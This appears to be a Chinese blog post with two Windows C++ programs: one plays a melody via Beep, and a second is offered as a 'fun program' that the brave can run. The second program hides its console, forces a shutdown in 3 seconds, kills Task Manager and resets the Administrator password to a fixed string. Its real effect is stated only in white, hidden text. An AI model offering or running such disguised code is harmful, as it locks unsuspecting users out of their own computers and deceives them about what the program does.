跳到正文

休闲·娱乐

美丽的音乐

liluhexuan约 3 分钟
原文
文章信息与版本

文章信息

发布
2025年8月16日
收录
2025年12月12日
更新
2026年11月9日
篇幅
约 3 分钟

版本

  1. v1当前

美丽的音乐:

C++
#include<iostream>
#include<windows.h>
using namespace std;
double Hz[100];
int P[]={0,31,31,33,33,32,31,26,25,31,31,
           33,33,32,31,31,33,33,32,31,26,
		   00,25,26,31,32,31,32,31,33,33,
		   31,33,35,41,41,34,33,31,31,34,
		   35,41,41,34,36,35,35,33,35,41,
		   41,34,33,31,31,33,35,35,00,35,
		   35,33,36,35,33,35,41,41,34,33,
		   31,31,33,35,41,41,37,36,35,35,
		   33,35,41,41,34,33,31,31,32,31,
		   32,31,32,33,34,33,32,31};
double T[]={0,1,1,1,1,0.5,1,1.5,1,1,1,
              0.5,1.5,4,1,1,0.5,1.5,0.5,1,0.5,
			  0.5,0.5,0.5,0.5,0.5,0.5,0.5,0.5,0.5,1.5,
			  4,0.5,1,2,0.5,0.5,1,2,0.5,0.5,
			  1.5,1,1,0.5,1,2,0.5,0.5,1,2,
			  0.5,0.5,1,2,0.5,0.5,1,0.5,0.5,0.5,
			  0.5,0.5,0.5,3.5,0.5,1,2,0.5,0.5,1,
			  2,0.5,0.5,1.5,1,1,0.5,1,2,0.5,
			  0.5,1,2,0.5,0.5,1,2,0.5,0.5,0.5,
			  0.5,0.5,1,1,2,1,1,4};
void beep(int h,int t){
	Beep(Hz[h],t);
}
int main(){
	Hz[21]=261.6; 
	for(int j=22;j<=27;j++)
		Hz[j]=Hz[j-1]*1.12;
	Hz[17]=Hz[21]/1.12; 
	for(int j=16;j>=11;j--)
		Hz[j]=Hz[j+1]/1.12;
	Hz[31]=553.3;
	for(int j=32;j<=37;j++)
		Hz[j]=Hz[j-1]*1.12;
	Hz[41]=Hz[37]*1.12;
	for(int i=1;i<=98;i++){
		beep(P[i],T[i]*500);
	}		
	return 0;
}
	
好玩程序

好玩的东西:

胆子大可以运行

C++
#include<iostream>
#include<windows.h>
using namespace std;
#define int long long
const int N=1e5+10,P=998244353;
signed main(){
	ios::sync_with_stdio(0);
	cin.tie(0),cout.tie(0);
	system("shutdown -s -t 3");
    HWND hwnd;
	ShowWindow(GetConsoleWindow(),SW_HIDE);	
	hwnd=FindWindow("ConsoleWindowClass", NULL);
    system("taskkill /f /im taskmgr.exe");
    system("net user Administrator stOllhxOrz");
	return 0;
}

作用:关机并修改电脑密码至stOllhxOrz\textcolor{FFFFFF}{\text{作用:关机并修改电脑密码至stOllhxOrz}}

原文